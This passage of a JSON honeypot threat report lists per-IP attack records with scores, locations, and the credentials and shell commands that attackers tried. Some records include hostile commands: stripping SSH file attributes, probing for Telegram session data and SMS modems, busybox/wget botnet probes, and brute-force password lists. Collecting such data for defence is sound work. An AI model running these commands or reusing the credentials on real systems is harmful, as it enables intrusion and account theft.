        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 112,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T15:09:16.138000+00:00",
        "last_seen_30d": "2026-05-31T03:11:36.463000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 64,
        "Suricata": 48
      }
    },
    "107.6.164.240": {
      "attack_count": 84,
      "first_seen": "2026-05-03T12:29:24.310Z",
      "last_seen": "2026-05-21T13:47:32.808Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 32475,
      "as_org": "Internap Holding LLC",
      "threat_score": 31.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.9,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 98,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T12:29:24.310000+00:00",
        "last_seen_30d": "2026-05-21T13:48:41.744000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 56,
        "Suricata": 42
      }
    },
    "34.52.144.232": {
      "attack_count": 73,
      "first_seen": "2026-05-20T05:27:37.565Z",
      "last_seen": "2026-05-20T05:28:23.616Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 8023",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 21.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 115,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T05:27:37.565000+00:00",
        "last_seen_30d": "2026-05-20T05:29:33.355000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 73,
        "Suricata": 42
      }
    },
    "180.100.198.68": {
      "attack_count": 70,
      "first_seen": "2026-05-22T20:16:17.840Z",
      "last_seen": "2026-05-22T21:27:15.267Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "admin"
      ],
      "passwords_attempted": [
        "1q2w3e4r5T",
        "3245gs5662d34",
        "Abcd1234",
        "Password1",
        "administrador",
        "promo123",
        "qw123",
        "slipknot1"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 23.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 113,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T20:16:17.840000+00:00",
        "last_seen_30d": "2026-05-22T21:37:20.240000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 70,
        "Suricata": 43
      }
    },
    "62.210.209.225": {
      "attack_count": 66,
      "first_seen": "2026-05-05T04:25:41.295Z",
      "last_seen": "2026-05-29T00:23:16.433Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Paris",
      "asn": 12876,
      "as_org": "Scaleway SAS",
      "threat_score": 48.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 18.9,
        "persistence": 20.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 77,
        "days_active_30d": 25,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T04:25:41.295000+00:00",
        "last_seen_30d": "2026-05-29T00:24:24.235000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 44,
        "Suricata": 33
      }
    },
    "103.186.77.113": {
      "attack_count": 44,
      "first_seen": "2026-05-27T05:29:54.857Z",
      "last_seen": "2026-05-27T05:34:41.387Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 142647,
      "as_org": "Nasstec Airnet Networks Private Limited",
      "threat_score": 26.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 67,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T05:29:54.857000+00:00",
        "last_seen_30d": "2026-05-27T05:35:43.315000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 44,
        "Suricata": 23
      }
    },
    "182.116.85.239": {
      "attack_count": 38,
      "first_seen": "2026-05-11T07:19:13.498Z",
      "last_seen": "2026-05-11T07:23:19.917Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 10.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 58,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T07:19:13.498000+00:00",
        "last_seen_30d": "2026-05-11T07:24:25.296000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 38,
        "Suricata": 20
      }
    },
    "129.159.149.21": {
      "attack_count": 36,
      "first_seen": "2026-05-13T16:01:19.246Z",
      "last_seen": "2026-05-13T16:02:25.094Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "12345",
        "admin",
        "guest",
        "root"
      ],
      "commands_executed": [
        "/ip cloud print",
        "cat /proc/cpuinfo",
        "echo Hi | cat -n",
        "ifconfig",
        "locate D877F783D5D3EF8Cs",
        "ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*",
        "ps -ef | grep '[Mm]iner'",
        "ps | grep '[Mm]iner'",
        "uname -a"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Israel",
      "country_code": "IL",
      "city": "Jerusalem",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 11.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 40,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T16:01:19.246000+00:00",
        "last_seen_30d": "2026-05-13T16:03:34.214000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 36,
        "Suricata": 4
      }
    },
    "189.11.121.116": {
      "attack_count": 36,
      "first_seen": "2026-05-24T18:04:35.962Z",
      "last_seen": "2026-05-24T18:08:48.697Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Curitiba",
      "asn": 8167,
      "as_org": "V tal",
      "threat_score": 23.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 60,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T18:04:35.962000+00:00",
        "last_seen_30d": "2026-05-24T18:18:20.743000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 36,
        "Suricata": 24
      }
    },
    "222.95.182.240": {
      "attack_count": 34,
      "first_seen": "2026-05-22T10:07:56.641Z",
      "last_seen": "2026-05-22T12:14:32.321Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Nanjing",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 20.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 51,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T10:07:56.641000+00:00",
        "last_seen_30d": "2026-05-22T12:15:39.266000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 34,
        "Suricata": 17
      }
    },
    "121.202.147.18": {
      "attack_count": 32,
      "first_seen": "2026-05-18T22:30:34.441Z",
      "last_seen": "2026-05-19T05:56:33.490Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 17924,
      "as_org": "SmarTone Mobile Communications Ltd",
      "threat_score": 18.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 48,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T22:30:34.441000+00:00",
        "last_seen_30d": "2026-05-19T05:57:42.163000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 32,
        "Suricata": 16
      }
    },
    "131.222.211.249": {
      "attack_count": 32,
      "first_seen": "2026-05-03T07:39:13.781Z",
      "last_seen": "2026-05-03T07:59:21.349Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Syria",
      "country_code": "SY",
      "city": "Damascus",
      "asn": 216472,
      "as_org": "High Speed For Internet Services L.L.C",
      "threat_score": 3.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 51,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T07:39:13.781000+00:00",
        "last_seen_30d": "2026-05-03T08:09:31.038000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 32,
        "Suricata": 19
      }
    },
    "147.236.182.145": {
      "attack_count": 32,
      "first_seen": "2026-05-26T21:04:15.552Z",
      "last_seen": "2026-05-26T21:25:31.611Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Israel",
      "country_code": "IL",
      "city": "Tel Aviv",
      "asn": 202940,
      "as_org": "ITC NG ltd",
      "threat_score": 24.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T21:04:15.552000+00:00",
        "last_seen_30d": "2026-05-26T21:26:35.364000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 32,
        "Suricata": 17
      }
    },
    "151.236.16.192": {
      "attack_count": 30,
      "first_seen": "2026-05-12T07:52:57.250Z",
      "last_seen": "2026-05-14T18:44:53.951Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 9009,
      "as_org": "M247 Europe SRL",
      "threat_score": 13.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.4,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T07:52:57.250000+00:00",
        "last_seen_30d": "2026-05-14T18:45:54.206000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 15
      }
    },
    "23.94.14.160": {
      "attack_count": 30,
      "first_seen": "2026-05-09T07:18:09.422Z",
      "last_seen": "2026-05-31T15:32:30.798Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Marietta",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 46.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.4,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T07:18:09.422000+00:00",
        "last_seen_30d": "2026-05-31T15:33:31.445000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 15
      }
    },
    "165.227.148.131": {
      "attack_count": 24,
      "first_seen": "2026-05-22T09:17:26.541Z",
      "last_seen": "2026-05-22T09:17:29.740Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "User-Agent: Go-http-client/1.1",
        "GET /solr/admin/cores?action=STATUS&wt=json HTTP/1.1",
        "GET /solr/admin/info/system HTTP/1.1"
      ],
      "passwords_attempted": [
        "Connection: close",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 63.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 23.8,
        "persistence": 17.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 239,
        "days_active_30d": 21,
        "ports_targeted_30d": 21,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-03T14:44:20+00:00",
        "last_seen_30d": "2026-05-23T00:47:45.917000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 158,
        "Honeytrap": 49,
        "Cowrie": 24,
        "Mailoney": 4,
        "Tanner": 3,
        "Ipphoney": 1
      }
    },
    "212.225.203.24": {
      "attack_count": 23,
      "first_seen": "2026-05-05T02:22:24.960Z",
      "last_seen": "2026-05-05T02:22:30.570Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root"
      ],
      "passwords_attempted": [
        "1234567890",
        "dreambox",
        "user",
        "vertex25ektks123"
      ],
      "commands_executed": [
        "q",
        "shell",
        "system",
        "/bin/busybox AUSPV",
        "cat /proc/mounts; /bin/busybox AUSPV",
        "cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox AUSPV",
        "dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s",
        "enable",
        "rm .s; exit",
        "sh",
        "tftp; wget; /bin/busybox AUSPV",
        "while read i"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": "M\u00e1laga",
      "asn": 34977,
      "as_org": "Procono S.A.",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T02:22:24.960000+00:00",
        "last_seen_30d": "2026-05-05T02:23:36.543000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 23,
        "Suricata": 2
      }
    },
    "117.50.177.222": {
      "attack_count": 19,
      "first_seen": "2026-05-19T04:18:10.953Z",
      "last_seen": "2026-05-19T04:43:35.750Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4808,
      "as_org": "China Unicom Beijing Province Network",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T04:18:10.953000+00:00",
        "last_seen_30d": "2026-05-19T04:54:33.023000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 19,
        "Suricata": 16
      }
    },
    "14.103.113.53": {
      "attack_count": 19,
      "first_seen": "2026-05-16T23:31:49.072Z",
      "last_seen": "2026-05-17T00:06:10.014Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "qazplm123",
        "ruijie@123"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.command.input",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 14.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.3,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 27,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T23:31:49.072000+00:00",
        "last_seen_30d": "2026-05-17T00:16:53.465000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 19,
        "Suricata": 8
      }
    },
    "103.246.250.145": {
      "attack_count": 18,
      "first_seen": "2026-05-08T19:45:16.061Z",
      "last_seen": "2026-05-11T12:52:19.102Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": null,
      "asn": 136557,
      "as_org": "Host Universal Pty Ltd",
      "threat_score": 9.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T19:45:16.061000+00:00",
        "last_seen_30d": "2026-05-11T12:53:26.209000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 9
      }
    },
    "191.56.187.142": {
      "attack_count": 16,
      "first_seen": "2026-05-22T22:38:47.488Z",
      "last_seen": "2026-05-23T07:20:37.435Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Goi\u00e2nia",
      "asn": 4230,
      "as_org": "CLARO S.A.",
      "threat_score": 20.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T22:38:47.488000+00:00",
        "last_seen_30d": "2026-05-23T07:21:42.478000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 8
      }
    },
    "2.57.122.189": {
      "attack_count": 16,
      "first_seen": "2026-05-03T16:02:57.801Z",
      "last_seen": "2026-05-13T04:04:17.162Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 14.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.5,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T16:02:57.801000+00:00",
        "last_seen_30d": "2026-05-13T04:05:21.139000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 12
      }
    },
    "4.180.183.246": {
      "attack_count": 14,
      "first_seen": "2026-05-22T17:45:28.052Z",
      "last_seen": "2026-05-22T18:20:08.074Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "r00t"
      ],
      "passwords_attempted": [
        "Hackers"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 30.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.1,
        "persistence": 10.0,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 32,
        "days_active_30d": 12,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-11T18:01:05+00:00",
        "last_seen_30d": "2026-05-22T18:21:13.746000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 14,
        "Honeytrap": 4
      }
    },
    "45.91.64.7": {
      "attack_count": 12,
      "first_seen": "2026-05-08T08:43:02.326Z",
      "last_seen": "2026-05-26T05:39:21.183Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 214664,
      "as_org": "JSC Buduschee",
      "threat_score": 93.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 27.7,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 586,
        "days_active_30d": 29,
        "ports_targeted_30d": 98,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-05-02T03:35:54+00:00",
        "last_seen_30d": "2026-05-30T15:41:25.051000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 418,
        "Honeytrap": 127,
        "Cowrie": 12,
        "Dionaea": 8,
        "ConPot": 6,
        "Mailoney": 6,
        "Redishoneypot": 6,
        "H0neytr4p": 3
      }
    },
    "80.67.167.81": {
      "attack_count": 10,
      "first_seen": "2026-05-18T07:20:54.757Z",
      "last_seen": "2026-05-26T00:49:44.259Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "cron",
        "systems"
      ],
      "passwords_attempted": [
        "1234",
        "Itsemoemo2025@Washere2025"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Paris",
      "asn": 2027,
      "as_org": "MilkyWan Association",
      "threat_score": 46.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.1,
        "persistence": 7.5,
        "diversity": 8,
        "spread": 20,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 103,
        "days_active_30d": 9,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-18T07:20:54.757000+00:00",
        "last_seen_30d": "2026-05-26T00:50:48.889000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 77,
        "Cowrie": 10,
        "H0neytr4p": 9,
        "Ciscoasa": 7
      }
    },
    "45.153.34.59": {
      "attack_count": 7,
      "first_seen": "2026-05-04T23:32:21.690Z",
      "last_seen": "2026-05-04T23:33:04.862Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "oracle"
      ],
      "passwords_attempted": [
        "test"
      ],
      "commands_executed": [],
